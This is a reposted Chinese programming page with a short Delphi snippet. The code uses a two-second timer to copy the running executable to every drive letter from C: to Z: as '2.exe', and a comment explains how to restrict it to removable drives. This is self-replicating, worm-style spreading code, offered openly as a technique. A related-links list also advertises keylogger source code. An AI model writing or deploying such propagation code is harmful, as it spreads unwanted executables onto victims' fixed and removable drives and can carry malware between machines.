delphi 利用for循环自我复制到全盘用timer监控


本文整理自网络,侵删。

 var
i:char;
s3:string;
//设为2秒
procedure TForm1.Timer1Timer(Sender: TObject); //每2秒运行1次
begin
for i:='C' to 'Z' do //注意下面的begin end;
begin
s3:=pchar(i+':\2.exe');
copyfile(pchar(application.Exename),pchar(s3),False);
if not Fileexists(s3) then
Timer1.Enabled:=true
else
Timer1.Enabled:=false;
end;
end;

end.
//移动硬盘返回 DRIVE_REMOVABLE
//本地硬盘返回 DRIVE_FIXED
//可选 if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then

相关阅读 >>

Delphi 键盘记录源代码

Delphi 判断网站文件是否存在

Delphi 文本列数值排序从小到到

Delphi webbrowser getelementbyid().innerhtml与getelementbyid().value的区别

Delphi 10.3.1 android沉浸式透明状态栏

Delphi 判断是否是0-9数字

Delphi 在firemonkey应用程序中使用torientationsensor获取设备倾斜和指南针航向

Delphi 字节数转换为kb或mb字符串

Delphi tnethttpcleint提交json串

Delphi xe5 android得到手机的手机号码

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...